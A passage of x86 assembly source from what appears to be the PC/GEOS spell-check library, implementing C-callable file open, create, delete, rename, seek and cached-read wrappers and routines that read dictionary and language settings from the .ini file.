call ECAssertValidFarPointerXIP > EC < popdw bxsi > endif call FilePushDir call GotoSpellCheckDir ;Go to standard spell check directory mov ax, -1 ;(assume error) jc exit ; DO SOME SIMPLE CHECKS ON THE FILE NAME lds dx, oldname ;*DS:DX <- filename les di, newname ;*ES:DI <- new filename ; rename THE FILE call CommonSpellRename exit: call FilePopDir .leave ret ifdef __BORLANDC__ GEOSRENAME endp else GEOSrename endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GEOScreate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: GEOSCreate C DECLARATION extern int GEOSCreate(char *fname, short flags); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ifdef __BORLANDC__ global GEOSCREATE:far GEOSCREATE proc far fname:fptr, flags:word else global GEOScreate:far GEOScreate proc far fname:fptr, flags:word endif uses ds .enter if FULL_EXECUTE_IN_PLACE ; ; Make sure the fptr passed in is valid ; EC < pushdw bxsi > EC < movdw bxsi, fname > EC < call ECAssertValidFarPointerXIP > EC < popdw bxsi > endif call FilePushDir call GotoSpellCheckDir ;Go to standard spell check directory jc errorExit mov ax, flags lds dx, fname ;DS:DX <- ptr to filename call CommonSpellCreate ; carry set on error jnc exit errorExit: mov ax, -1 ;Signify an error in opening the file. exit: call FilePopDir .leave ret ifdef __BORLANDC__ GEOSCREATE endp else GEOScreate endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GEOSfarread %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: GEOSFarRead C DECLARATION extern RETCODE GEOSFarRead(HANDLE fileHan, UCHAR NEAR *bufPtr, UINT2B byteCount); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ifdef __BORLANDC__ global GEOSFARREAD:far else global GEOSfarread:far endif uses ds ifdef __BORLANDC__ GEOSFARREAD proc far fileHan:hptr, bufPtr:fptr, byteCount:word else GEOSfarread proc far fileHan:hptr, bufPtr:fptr, byteCount:word endif .enter mov bx, fileHan ;BX <- file handle mov cx, byteCount ;CX <- # bytes to read lds dx, bufPtr ;DS:DX <- buffer to read data into tst bufPtr.segment jz errorExit call CachedFileRead xchg ax, cx ;AX <- # bytes returned jnc exit cmp cx, ERROR_SHORT_READ_WRITE ;Don't whine about short reads je exit errorExit: mov ax, -1 exit: .leave ret ifdef __BORLANDC__ GEOSFARREAD endp else GEOSfarread endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GEOSlseek %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: GEOSlseek C DECLARATION extern long GEOSlseek(HANDLE fileHan, UINT4B fileOffset, UINT2B where); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ifdef __BORLANDC__ global GEOSLSEEK:far GEOSLSEEK proc far fileHan:hptr, fileOffset:dword, where:word else global GEOSlseek:far GEOSlseek proc far fileHan:hptr, fileOffset:dword, where:word endif .enter clr ax mov bx, fileHan ;BX <- file handle mov ax, where ;AL <- FilePosMode EC < cmp al, FILE_POS_RELATIVE > EC < ERROR_A BAD_GEOS_LSEEK_FLAGS > mov cx, fileOffset.high ;CX:DX <- offset into file mov dx, fileOffset.low ; call CachedFilePos ;Returns new position in DX:AX .leave ret ifdef __BORLANDC__ GEOSLSEEK endp else GEOSlseek endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GEOSnotify %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: GEOSnotify C DECLARATION VOID GEOSnotify(CHUNK str1, CHUNK str2); DESTROYED: various important but undocumented things VSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ifdef __BORLANDC__ global GEOSNOTIFY:far GEOSNOTIFY proc far str1:lptr, str2:lptr else global GEOSnotify:far GEOSnotify proc far str1:lptr, str2:lptr endif uses ds, di, si .enter mov bx, handle Strings call MemLock mov ds, ax mov si, str1 ;*DS:SI <- first string mov di, str2 ;*DS:DI <- second string mov di, ds:[di] mov si, ds:[si] mov ax, mask SNF_CONTINUE call SysNotify call MemUnlock .leave ret ifdef __BORLANDC__ GEOSNOTIFY endp else GEOSnotify endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetPtrToCache %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine is called to get a cache block to store data in. CALLED BY: GLOBAL PASS: es - idata RETURN: es:di <- ptr to cache bx <- handle of cache block DESTROYED: ax, bx PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 4/18/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetPtrToCache proc near EC < push ax > EC < mov ax, es > EC < cmp ax, dgroup > EC < ERROR_NE NOT_DGROUP > EC < pop ax > mov bx, es:[cacheBlock] ;Get cache block tst bx ;If it isn't set yet, branch jnz allocated push cx mov ax, SPELL_CACHE_SIZE mov cx, ALLOC_STATIC_NO_ERR_LOCK or mask HF_SHARABLE mov bx, handle 0 call MemAllocSetOwner pop cx mov es:[cacheBlock], bx jmp locked allocated: call MemLock jnc locked ; IF BLOCK WAS DISCARDED, RE-ALLOCATE IT push cx clr ax mov ch, mask HAF_LOCK or mask HAF_NO_ERR call MemReAlloc pop cx locked: mov es, ax ret GetPtrToCache endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CachedFilePos %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Saves the current position in the file so we can check to see if the data has been cached in memory and so does not need to be saved to disk. CALLED BY: GLOBAL PASS: same as FilePos: al - method code: 0 - From start of file (FILE_POS_START) 1 - From current position in file (FILE_POS_RELATIVE) 2 - From end of file (FILE_POS_END) bx - file handle cx:dx - offset RETURN: same as FilePos DESTROYED: di PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 4/18/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CachedFilePos proc near uses es, di .enter mov di, segment idata mov es, di mov es:[currentMode],al mov es:[currentHandle], bx mov es:[currentOffset].high, cx mov es:[currentOffset].low, dx call FilePos .leave ret CachedFilePos endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CachedFileRead %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This routine checks to see if it is a sector read, which we cache. If it isn't, it just jumps to FileRead. If it is, it first checks to see if the data was cached. If it was cached, it copies the data out of the cache. Otherwise, it reads the data into the cache. CALLED BY: GLOBAL PASS: Same as FileRead (except AX) bx - file handle cx - number of bytes to read ds:dx - buffer into which to read RETURN: Same as FileRead DESTROYED: bx PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 4/18/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CachedFileRead proc near uses es, bp, di, si .enter cmp cx, SPELL_CACHE_SIZE jne noCache mov di, segment idata mov es, di ; CHECK OFFSET INTO FILE TO SEE IF IT MATCHES THE CACHE mov ax, es:[currentOffset].low ; cmp ax, es:[cachedOffset].low jnz noCache mov ax, es:[currentOffset].high cmp ax, es:[cachedOffset].high jnz noCache ; COMPARE FILE HANDLE TO SEE IF IT MATCHES THE CACHE cmp bx, es:[cachedHandle] ;Is the cached data from this jnz noCache ; file? Branch if not. cmp bx, es:[currentHandle] ;Was the last lseek from this jnz noCache ; file? Branch if not. ; CHECK OFFSET MODE TO SEE IF IT MATCHES THE CACHE mov al, es:[currentMode] ; cmp al, es:[cachedMode] jnz noCache ; COPY DATA OUT OF OUR CACHE mov bp, bx ;Save file handle in BP mov bx, es:[cacheBlock] call MemLock jc discarded ; ADVANCE THE CURRENT OFFSET INTO THE FILE ; ; THIS IS NECESSARY IF THEY READ IN A SECTOR, THEN DO A FILEPOS TO ; POSITION TO THAT SECTOR, DO A READ TO GET THE SECTOR (WHICH GETS ; THE SECTOR FROM THE CACHE), AND THEN GET ANOTHER READ TO GET THE ; NEXT SECTOR. WE NEED TO UP THE FILE POSITION WHEN READING FROM ; THE CACHE push ax, bx, cx, dx mov al, es:[currentMode] mov bx, es:[currentHandle] mov dx, es:[currentOffset].low mov cx, es:[currentOffset].high add dx, SPELL_CACHE_SIZE adc cx, 0 call CachedFilePos pop ax, bx, cx, dx push ds mov ds, ax ;DS:SI <- ptr to cache block clr si pop es mov di, dx ;ES:DI <- ptr to dest for data shr cx, 1 ;Copy data out of cache rep movsw segmov ds, es, ax jmp unlockCacheAndExit ;Unlock cache and get out discarded: mov bx, bp ;Restore file handle noCache: clr ax call FileRead jc exit ;Exit if error cmp cx, SPELL_CACHE_SIZE ; jnz noErrorExit ; ; COPY OVER THE CACHE PARAMETERS mov ax, es:[currentOffset].low mov es:[cachedOffset].low, ax mov ax, es:[currentOffset].high mov es:[cachedOffset].high, ax mov ax, es:[currentHandle] mov es:[cachedHandle], ax mov al, es:[currentMode] mov es:[cachedMode], al add es:[currentOffset].low, SPELL_CACHE_SIZE adc es:[currentOffset].high, 0 ; COPY DATA READ IN INTO OUR CACHE mov si, dx ;DS:SI <- ptr to data read in call GetPtrToCache ;ES <- segment of cache ;BX <- handle of cache clr di ;ES:DI <- ptr to cache shr cx,1 ; rep movsw ;Copy data to cache unlockCacheAndExit: call MemUnlock ;Unlock the cache block mov cx, SPELL_CACHE_SIZE ;Return # bytes read... noErrorExit: clc ; ...and no error. exit: .leave ret CachedFileRead endp CODE ends SpellControlCommon segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetDictionaryName %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Gets the dictionary name into the passed buffer CALLED BY: GLOBAL PASS: es:di - ptr to space for ICFNAMEMAX chars DBCS <ax <> =0 for DBCS string, ax = 0 for SBCS string> RETURN: nada DESTROYED: nada PSEUDO CODE/STRATEGY: Can't fetch DBCS string into passed buffer as it might only have room for SBCS string. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 9/28/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ textCategory char "text",0 dictionaryKey char "dictionary",0 SBCS < dictName char "IENC9123.DAT",0 > DBCS < dictName wchar "IENC9123.DAT",0 > SBCS <GetDictionaryName proc far uses cx, dx, bp, ds, di, si > DBCS <GetDictionaryName proc far uses ax, cx, dx, bp, ds, di, si> DBCS <dbcsFlag local word push ax > DBCS <dbcsBuf local ICFNAMEMAX dup (wchar) > .enter if DBCS_PCGEOS push es, di ; save incoming buffer segmov es, ss lea di, dbcsBuf push bp endif mov bp, INITFILE_INTACT_CHARS or ICFNAMEMAX mov cx, cs mov ds, cx mov dx, offset dictionaryKey mov si, offset textCategory call InitFileReadString DBCS < pop bp > jnc 10$ ;If found, branch. ; ELSE, COPY OVER THE DEFAULT DISK BASED DICTIONARY NAME mov cx, size dictName mov si, offset dictName rep movsb 10$: if DBCS_PCGEOS pop es, di ; es:di = passed buffer segmov ds, ss lea si, dbcsBuf copyLoop: lodsw stosb ; DBCS-lo or SBCS char tst dbcsFlag jz haveSBCS xchg al, ah ; al = high byte of DBCS char stosb xchg al, ah ; restore DBCS char haveSBCS: tst ax jnz copyLoop endif .leave ret GetDictionaryName endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckIfSpellAvailable %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Checks to see if the spell check dictionary is around. CALLED BY: GLOBAL PASS: nada RETURN: ax - non-zero if dict is around DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 9/28/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SBCS <directoryString char "DICTS",0 > DBCS <directoryString wchar "DICTS",0 > CheckIfSpellAvailable proc far uses bx, cx, dx, di, es, ds SBCS < fname local ICFNAMEMAX dup (char) > DBCS < fname local ICFNAMEMAX dup (wchar) > .enter ; Get the dictionary name, go to the DICTS directory, and see if the ; dictionary exists. lea di, fname segmov es, ss ;ES:DI <- ptr for name DBCS < mov ax, -1 ;return DBCS string > call GetDictionaryName call FilePushDir mov bx, SP_PUBLIC_DATA segmov ds, cs mov dx, offset directoryString call FileSetCurrentPath jc error segmov ds, ss lea dx, fname call FileGetAttributes error: mov ax, TRUE ;Return AX = non-zero if no error jnc exit clr ax exit: call FilePopDir .leave ret CheckIfSpellAvailable endp SpellControlCommon ends ;--- INIT segment COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetDictionaryInfo %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: GetDiskBasedDictionaryName C DECLARATION: GetDiskBasedDictionaryName(ICBuff FAR *p); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 5/21/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ languageKey char "language",0 dialectKey char "dialect",0 tCategory char "text",0 ifdef __BORLANDC__ global GETDICTIONARYINFO:near GETDICTIONARYINFO proc near destPtr:fptr.ICBuff else global GetDictionaryInfo:near GetDictionaryInfo proc near destPtr:fptr.ICBuff endif uses es, ds, si, di .enter les di, destPtr ;ES:DI <- ptr to store fname add di, offset ICB_masterFname DBCS < mov ax, 0 ; get SBCS string (for C) > call GetDictionaryName ; GET THE LANGUAGE/DIALECT OUT OF THE INI FILE ; ; First, set the language/dialect in the ICBuff to the default. Look for ; each in the .ini file. If they are found in the ini file, replace the ; default values in the ICBuff. ; mov di, destPtr.offset ;ES:DI <- ptr to ICBuff ;Set the default language/dialect mov es:[di].ICB_language, SL_DEFAULT mov es:[di].ICB_dialect, mask LD_DEFAULT segmov ds, cs, cx mov si, offset tCategory ;DS:SI <- ptr to text category string mov dx, offset languageKey ;CX:DX <- ptr to key call InitFileReadInteger jc 80$ ;Branch if key not found in ini file mov es:[di].ICB_language, al 80$: mov dx, offset dialectKey ;CX:DX <- ptr to key call InitFileReadInteger jc 90$ ;Branch if key not found in ini file test ax, 0x0f ;If low four bits are set, set to 0 je 85$ ; instead so error will be returned clr ax 85$: mov es:[di].ICB_dialect, ax 90$: .leave ret ifdef __BORLANDC__ GETDICTIONARYINFO endp else GetDictionaryInfo endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% THESHYPHENopen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: THESHYPHENOpen C DECLARATION extern int THESHYPHENOpen(char *fname); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ifdef __BORLANDC__ global THESHYPHENOPEN:far THESHYPHENOPEN proc far fname:fptr, flags:word else global THESHYPHENopen:far THESHYPHENopen proc far fname:fptr, flags:word endif uses ds .enter tst fname.segment ;If null offset to path, exit (invalid) jz errorExit lds dx, fname ;DS:DX <- ptr to filename mov ax, flags call CommonSpellOpen ;Carry set on error jc errorExit exit: .leave ret errorExit: mov ax, -1 ;Signify an error in opening the file. jmp exit ifdef __BORLANDC__ THESHYPHENOPEN endp else THESHYPHENopen endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CommonSpellOpen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Does opening file work common to GEOSopen and THESHYPHENopen CALLED BY: GEOSopen, THESHYPHENopen (local) PASS: ax - C open flags ds:dx -> filename RETURN: carry set on error, else carry clear DESTROYED: ax, dx, bx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TJ 11/20/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CommonSpellOpen proc far if FULL_EXECUTE_IN_PLACE ; ; Make sure the fptr passed in is valid ; EC < pushdw bxsi > EC < movdw bxsi, dsdx > EC < call ECAssertValidFarPointerXIP > EC < popdw bxsi > endif test ax, 0x1 ;read/write or write-only mov al, FileAccessFlags<FE_EXCLUSIVE, FA_READ_WRITE> jnz gotFlags mov al, FileAccessFlags<FE_DENY_WRITE, FA_READ_ONLY> gotFlags: ; DO SOME SIMPLE CHECKS ON THE FILE NAME mov bx, dx cmp {char} ds:[bx], 0 ;If the path is bogus (null), exit. jz errorExit if DBCS_PCGEOS push ds, es, si, di sub sp, (size FileLongName) mov bx, ss mov es, bx ; es:di = DBCS fname buffer on stack mov di, sp mov bx, sp mov si, dx ; ds:si = passed SBCS fname push ax mov cx, FILE_LONGNAME_LENGTH-1 clr ah copyLoop: lodsb stosw loop copyLoop clr ax ; ensure null-terminated stosw pop ax segmov ds, ss ; ds:dx = DBCS fname on stack mov dx, bx endif ; open THE FILE call FileOpen if DBCS_PCGEOS lea sp, ss:[bx][(size FileLongName)] pop ds, es, si, di endif jc errorExit ;Exit if no error xchg bx, ax ;Change owner of file mov ax, handle 0 call HandleModifyOwner xchg ax, bx clc jmp exit errorExit: stc exit: ret CommonSpellOpen endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% THESHYPHENdelete %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: THESHYPHENDelete C DECLARATION extern int THESHYPHENDelete(char *fname); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global THESHYPHENdelete:far THESHYPHENdelete proc far fname:fptr uses ds .enter lds dx, fname ;DS:DX <- ptr to filename call CommonSpellDelete ; carry set on error jnc exit ;Exit if no error mov ax, -1 ;Signify an error in opening the file. exit: .leave ret THESHYPHENdelete endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CommonSpellDelete %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Does deletion work common to THESHYPHENdelete and GEOSdelete CALLED BY: THESHYPHENdelete, GEOSdelete (local) PASS: ds:dx -> filename RETURN: carry set on error DESTROYED: dx, bx, ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TJ 11/20/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CommonSpellDelete proc far if FULL_EXECUTE_IN_PLACE ; ; Make sure the fptr passed in is valid ; EC < pushdw bxsi > EC < movdw bxsi, dsdx > EC < call ECAssertValidFarPointerXIP > EC < popdw bxsi > endif ; DO SOME SIMPLE CHECKS ON THE FILE NAME tst dx ;If null offset to path, exit (invalid) jz errorExit mov bx, dx cmp {char} ds:[bx], 0 ;If the path is bogus (null), exit. jz errorExit if DBCS_PCGEOS push ds, es, si, di sub sp, (size FileLongName) mov bx, ss mov es, bx ; es:di = DBCS fname buffer on stack mov di, sp mov bx, sp mov si, dx ; ds:si = passed SBCS fname push ax mov cx, FILE_LONGNAME_LENGTH-1 clr ah copyLoop: lodsb stosw loop copyLoop clr ax ; ensure null-terminated stosw pop ax segmov ds, ss ; ds:dx = DBCS fname on stack mov dx, bx endif ; delete THE FILE call FileDelete if DBCS_PCGEOS add sp, (size FileLongName) pop ds, es, si, di endif clc exit: ret errorExit: stc jmp exit CommonSpellDelete endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% THESHYPHENcreate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: THESHYPHENCreate C DECLARATION extern int THESHYPHENCreate(char *fname, short flags); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global THESHYPHENcreate:far THESHYPHENcreate proc far fname:fptr, flags:word uses ds .enter if FULL_EXECUTE_IN_PLACE ; ; Make sure the fptr passed in is valid ; EC < pushdw bxsi > EC < movdw bxsi, fname > EC < call ECAssertValidFarPointerXIP > EC < popdw bxsi > endif mov ax, flags ;ax = flags lds dx, fname ;DS:DX <- ptr to filename call CommonSpellCreate jnc exit mov ax, -1 ;Signify an error in opening the file. exit: .leave ret THESHYPHENcreate endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CommonSpellCreate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Do work common to GEOScreate and THESHYPHENcreate CALLED BY: GEOScreate, THESHYPHENcreate (local) PASS: ds:dx -> filename ax = flags RETURN: carry set on error DESTROYED: ax, bx, cx, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- TJ 11/20/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CommonSpellCreate proc far if FULL_EXECUTE_IN_PLACE ; ; Make sure the fptr passed in is valid ; EC < pushdw bxsi > EC < movdw bxsi, dsdx > EC < call ECAssertValidFarPointerXIP > EC < popdw bxsi > endif ; DO SOME SIMPLE CHECKS ON THE FILE NAME tst dx ;If null offset to path, exit (invalid) jz errorExit mov bx, dx cmp {char} ds:[bx], 0 ;If the path is bogus (null), exit. jz errorExit ; create THE FILE mov ah, al ; mov al, FileAccessFlags<FE_DENY_WRITE, FA_READ_WRITE> mov cx, FILE_ATTR_NORMAL if DBCS_PCGEOS push ds, es, si, di sub sp, (size FileLongName) mov bx, ss mov es, bx ; es:di = DBCS fname buffer on stack mov di, sp mov bx, sp mov si, dx ; ds:si = passed SBCS fname push ax, cx mov cx, FILE_LONGNAME_LENGTH-1 clr ah copyLoop: lodsb stosw loop copyLoop clr ax ; ensure null-terminated stosw pop ax, cx segmov ds, ss ; ds:dx = DBCS fname on stack mov dx, bx endif call FileCreate if DBCS_PCGEOS lea sp, ss:[bx][(size FileLongName)] pop ds, es, si, di endif jc errorExit ;Exit if no error xchg bx, ax ;Change owner of file mov ax, handle 0 call HandleModifyOwner xchg ax, bx clc ret errorExit: stc ret CommonSpellCreate endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% THESHYPHENrename %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% C FUNCTION: THESHYPHENRename C DECLARATION extern int THESHYPHENRename(char *oldname, char *newname); DESTROYED: various important but undocumented things PSEUDO CODE/STRATEGY: This page intentionally left blank KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 3/ 8/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ global THESHYPHENrename:far THESHYPHENrename proc far oldname:fptr, newname:fptr uses di, es, ds .enter if FULL_EXECUTE_IN_PLACE ; ; Make sure the fptr passed in is valid ; EC < pushdw bxsi > EC < movdw bxsi, oldname > EC < call ECAssertValidFarPointerXIP > EC < movdw bxsi, newname > EC < call ECAssertValidFarPointerXIP > EC < popdw bxsi > endif ; DO SOME SIMPLE CHECKS ON THE FILE NAME lds dx, oldname ;*DS:DX <- filename les di, newname ; rename THE FILE call CommonSpellRename .leave ret THESHYPHENrename endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CommonSpellRename %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Do work common to GEOSrename and THESHYPHENrename CALLED BY: GEOScreate, THESHYPHENcreate (local) PASS: ds:dx -> old filename es:di -> new filename RETURN: ax = 0 if successful ax = -1 if error DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 1/24/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CommonSpellRename proc far if DBCS_PCGEOS 